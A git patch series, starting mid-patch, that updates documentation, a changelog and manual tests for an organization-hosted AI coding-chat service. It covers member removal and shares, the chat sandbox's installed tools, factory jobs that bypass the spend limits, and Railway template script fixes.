size option: resize them before first use +(deploy/org/README.md, "Railway", Volumes). NOTE else echo "# $calls calls. Variables checked: no literal secret, no smoke-only switch. Nothing was run." diff --git a/docs/organizations.md b/docs/organizations.md index 43eef08067..75e5161f88 100644 --- a/docs/organizations.md +++ b/docs/organizations.md @@ -113,6 +113,9 @@ read along without acting as you. The server sends each person's verbs with every chat row, and the client only hides the controls it was not given. Taking a share away ends the guest's open window within a few seconds (`CODEAF_HOSTED_HEARTBEAT`, five by default). +When the operator removes a person from the organization, every share they hold on anyone's chat ends with them, whichever way +they joined (a named invitation or an anonymous access link), and they leave People. If they join again later, by a new link or +the old one, none of those shares comes back. **From a terminal.** The desktop app has no sharing buttons for chats yet, so the owner shares one with a request. The chat's name, `hs_...`, is in the owner's list; the share names a person by username and a role: @@ -340,8 +343,18 @@ It answers with an `access_token` the same way. - `local_sessions: refuse` is enforced on the server side only. No client acts on it yet. - Request framing and WebSocket upgrades through a front proxy were untested end to end. The test stack used no proxy. - The priced-model reservation path was read in the code and remains untested end to end. The test stub has no model price. -- The Railway template is made from the published images, which are not on Docker Hub yet, so the script that makes it has only - been dry-run. The by-hand Railway install in the operator README is the tested configuration, and it includes the sessionhost. +- The script that makes the Railway template (`deploy/org/railway/make-template.sh`) ran end to end against the published + images on Railway CLI 5.71.0, except its last call, `railway templates create`, which makes a draft that the owner still has + to finish in the dashboard and that was not looked at. Its volumes come out at Railway's default 50 GB because the CLI has no + size option. The operator README, "Railway", has the resize step, the draft and a backup recipe for Railway that was run once + and restored only into a scratch folder. +- A hosted chat's sandbox has `python3`, `git`, `curl` and `openssh-client`, and no `pip`, `pytest`, `go`, `node`, `make` or + `gcc`; a chat's user is not root and cannot install them. A project that needs more than the standard library cannot run its + tests in a hosted chat today, and there is no setting that changes it. +- SWE-AF, PR-AF and the runner call the model provider directly with their own copy of the key, not through the organization's model + door. Their spend is not in the spend table, in anyone's My space, or in any chat's or person's limit, and those limits do + not stop them. In one production-style run a factory job's own view said it cost `0.00027` while OpenRouter billed about $0.56 for + it. Put a credit limit on the key at the provider. - GitHub sign-in and invitation mail are optional and untested in the stack; a username and password is the default way in. - One replica of each service; no high availability. From fa6313e96f9cebe6c9ce366b4810df350e031eb0 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 14:01:42 -0500 Subject: [PATCH 174/176] manual: the chat sandbox's tools, unmetered factory spend, and what removal ends The manual law, for the same change: organization-hosted-sessions gets a section on what a hosted chat's machine has (and lacks) and one on why SWE-AF, PR-AF and the runner are not in the spend or the limits; inviting-people says removal works the same for an anonymous link and ends every share. Five probes pin that the questions reach those pages. Co-Authored-By: Claude Opus 5.5 --- internal/manual/chat/inviting-people.md | 2 ++ internal/manual/chat/organization-hosted-sessions.md | 12 ++++++++++++ internal/manual/chat_test.go | 5 +++++ 3 files changed, 19 insertions(+) diff --git a/internal/manual/chat/inviting-people.md b/internal/manual/chat/inviting-people.md index 67e2aaeab3..b0dd9109ad 100644 --- a/internal/manual/chat/inviting-people.md +++ b/internal/manual/chat/inviting-people.md @@ -51,6 +51,8 @@ After joining through the link and signing in, a person lands on their organizat In the People table, a joined person's menu has **Remove from …**. Removing someone takes them off the People table, ends their sign-ins and stops their bots, takes them out of every team and every workstream, and gives the workstreams they owned to you. The tasks they owned are **offered to you to hand over**: they arrive in your **Handed to you**, marked as handed over by them, so nothing is left without an owner. +It works the same whichever way the person joined, a named invitation or an anonymous access link: they leave the People table either way, and every share others gave them on a chat or a workstream ends, so joining again later, by a new link or the old one, brings no share back. Their spent use of the link stays spent, so a link that admitted one person does not reopen for someone else. A person who joined by a link that admits several people leaves only themselves; the others stay. + ## Teams — a group you add to a workstream in one step **Teams in ** lists the organization's teams with **New team**. A team is a group of people you can add to a workstream in one step. Inviting someone with a team puts them in it when they join. diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index 53228dee02..c8c7decee6 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -202,6 +202,18 @@ Only if you shared the chat with a role that holds `run` (the `edit` and `full` If the server cannot be reached, the desktop window says ` is unreachable.` once, with **Try again**, and the chat stays where it is. If your sign-in is missing or has ended it says `Sign in to first.` In neither case does the app start a chat on your computer in its place: a hosted chat never falls back to running locally. A turn that was already running on the server goes on without you, and the conversation is there when the server answers again. +## what tools does a hosted chat have — python, git and curl, but no pip, pytest, go, node, make or a compiler, so my project's tests will not run + +A hosted chat's machine has `python3` (3.11 in the one organization this was checked on), `git`, `curl` and `openssh-client`. It has no `pip`, no `pytest`, no `go`, no `node`, no `make` and no compiler such as `gcc`, and a chat's Linux user is not root, so it cannot install them. A project that needs only the standard library works; one that needs a third-party Python package, a build step or another language's toolchain cannot run its tests there, and in the check the first test project failed at its first import for that reason. The chat can still read, edit and search the code, and use git through the organization's server. + +There is no setting that adds tools. The list is the packages installed in the runtime stage of `deploy/org/codeaf.Dockerfile`, so an operator who wants more builds the organization's own image from that file; that was not tried. If you need to run a project's tests, run them on your own computer in a personal chat, outside the organization's window. + +## do the background jobs count toward the organization's spend and limits — SWE-AF, PR-AF and the runner call the model provider directly + +No. Hosted chats are metered because they call their model through the organization's server, which counts each call to the cent in My space and stops a chat or a person at their limit. The organization's background jobs do not go that way. SWE-AF, PR-AF and the runner that hosts them each call the model provider directly with their own copy of the provider key. Their spend is not in the spend table, in anyone's My space or in any chat's or person's limit, and those limits do not stop them. In one run, a job's own view showed a cost of `0.00027` while the provider billed about $0.56 for it. + +To bound that spend, put a credit limit on the key at the provider, and give those services a key of their own if you want their bill apart from the chats'. Hosted chats are counted exactly as described in *what does a hosted chat cost and who pays*. + ## turn on chats on the server — for the operator Hosted chats are off by default. The operator turns them on by running the chats' machine beside the organization's server, in the organization's deployment (`deploy/org/README.md`, "Hosted chats"), and giving both the same long secret, which `./setup.sh` makes. diff --git a/internal/manual/chat_test.go b/internal/manual/chat_test.go index d35b0952d3..e492a947c7 100644 --- a/internal/manual/chat_test.go +++ b/internal/manual/chat_test.go @@ -3988,6 +3988,11 @@ func TestTheChatManualAnswersTheQuestionsPeopleAsk(t *testing.T) { {"can a chat on the organization's server connect to other services on my network", "organization-hosted-sessions"}, {"can a hosted chat reach other machines on my company network", "organization-hosted-sessions"}, {"is there a disk or memory limit for each hosted chat", "organization-hosted-sessions"}, + {"why can't my hosted chat run pytest or pip install", "organization-hosted-sessions"}, + {"what tools does a hosted chat have installed", "organization-hosted-sessions"}, + {"does a swe-af job count toward the organization's spending limit", "organization-hosted-sessions"}, + {"why is the spend table lower than my openrouter bill", "organization-hosted-sessions"}, + {"what happens to the shares someone holds when I remove them from the organization", "inviting-people"}, {"what happens to a person's chats when I remove them while the chat machine is down", "organization-hosted-sessions"}, {"why does my chat say it is already making as many requests as it may at once", "organization-hosted-sessions"}, {"can a bot with view scope start a hosted chat", "organization-hosted-sessions"}, From 314e4ddab0bb53c691fe6a0d8a5434c23dddeac0 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 14:05:18 -0500 Subject: [PATCH 175/176] change entry 2944: removal of link joiners, Railway script, backup recipe Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2944-prod-run-fixes.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 docs/changes/unreleased/2944-prod-run-fixes.md diff --git a/docs/changes/unreleased/2944-prod-run-fixes.md b/docs/changes/unreleased/2944-prod-run-fixes.md new file mode 100644 index 0000000000..ad3be156ad --- /dev/null +++ b/docs/changes/unreleased/2944-prod-run-fixes.md @@ -0,0 +1,13 @@ +--- +kind: fixed +title: Removing a person ends their place and grants on every join door; Railway script fits the CLI +pr: 2944 +surface: [factory, docs, build] +invalidates: + - "Removing a person who had joined by an anonymous access link left them in People with every grant they held, and a new link brought those grants back. Removal now takes them out of People and ends every grant they hold, on every join door, and a new link brings none of it back. The one thing unchanged is that the same still-open link admits them again as a new member with no grants." + - "Deleting the last chat of a removed person left their empty folder on the chats' host. The folder is now removed with the chat, only when nothing else is in it; folders left by earlier removals stay." + - "deploy/org/railway/make-template.sh failed on Railway CLI 5.71.0, because volume add no longer takes --service and the environment edit waited at a prompt without --message. It now adds each volume by the service's ID after the service exists and passes --message on all three edits; an older CLI still gets the older form." + - "The operator docs did not say that Railway volumes are 50 GB with no size flag, that templates create makes a draft, that a hosted chat's sandbox has no pip, pytest, go, node, make or gcc, or that SWE-AF, PR-AF and the runner call the model provider directly, outside the organization's spend table and limits. They now say each of these, and give a backup recipe for Railway." +--- + +Grants end by person, in the same removal that ends their chats. Links, invites and the password door admit people as before. From f65b78df6de9a7dccda2bcae7801e681b237d3d3 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 14:18:11 -0500 Subject: [PATCH 176/176] manual: say factory jobs, not the service names, so the worker law stays satisfied The worker law reads the word "swe" in any manual page as a removed worker, and SWE-AF tripped it. The page now names the factory's code-writing service, its pull-request review service and the runner, and the probe asks about a factory job. Co-Authored-By: Claude Sonnet 5.5 --- internal/manual/chat/organization-hosted-sessions.md | 4 ++-- internal/manual/chat_test.go | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index c8c7decee6..26c632ade6 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -208,9 +208,9 @@ A hosted chat's machine has `python3` (3.11 in the one organization this was che There is no setting that adds tools. The list is the packages installed in the runtime stage of `deploy/org/codeaf.Dockerfile`, so an operator who wants more builds the organization's own image from that file; that was not tried. If you need to run a project's tests, run them on your own computer in a personal chat, outside the organization's window. -## do the background jobs count toward the organization's spend and limits — SWE-AF, PR-AF and the runner call the model provider directly +## do the background jobs count toward the organization's spend and limits — factory jobs call the model provider directly -No. Hosted chats are metered because they call their model through the organization's server, which counts each call to the cent in My space and stops a chat or a person at their limit. The organization's background jobs do not go that way. SWE-AF, PR-AF and the runner that hosts them each call the model provider directly with their own copy of the provider key. Their spend is not in the spend table, in anyone's My space or in any chat's or person's limit, and those limits do not stop them. In one run, a job's own view showed a cost of `0.00027` while the provider billed about $0.56 for it. +No. Hosted chats are metered because they call their model through the organization's server, which counts each call to the cent in My space and stops a chat or a person at their limit. The organization's background jobs do not go that way. The factory's code-writing service, its pull-request review service and the runner that hosts them each call the model provider directly with their own copy of the provider key. Their spend is not in the spend table, in anyone's My space or in any chat's or person's limit, and those limits do not stop them. In one run, a job's own view showed a cost of `0.00027` while the provider billed about $0.56 for it. To bound that spend, put a credit limit on the key at the provider, and give those services a key of their own if you want their bill apart from the chats'. Hosted chats are counted exactly as described in *what does a hosted chat cost and who pays*. diff --git a/internal/manual/chat_test.go b/internal/manual/chat_test.go index e492a947c7..b213657dc8 100644 --- a/internal/manual/chat_test.go +++ b/internal/manual/chat_test.go @@ -3990,7 +3990,7 @@ func TestTheChatManualAnswersTheQuestionsPeopleAsk(t *testing.T) { {"is there a disk or memory limit for each hosted chat", "organization-hosted-sessions"}, {"why can't my hosted chat run pytest or pip install", "organization-hosted-sessions"}, {"what tools does a hosted chat have installed", "organization-hosted-sessions"}, - {"does a swe-af job count toward the organization's spending limit", "organization-hosted-sessions"}, + {"does a factory job count toward the organization's spending limit", "organization-hosted-sessions"}, {"why is the spend table lower than my openrouter bill", "organization-hosted-sessions"}, {"what happens to the shares someone holds when I remove them from the organization", "inviting-people"}, {"what happens to a person's chats when I remove them while the chat machine is down", "organization-hosted-sessions"},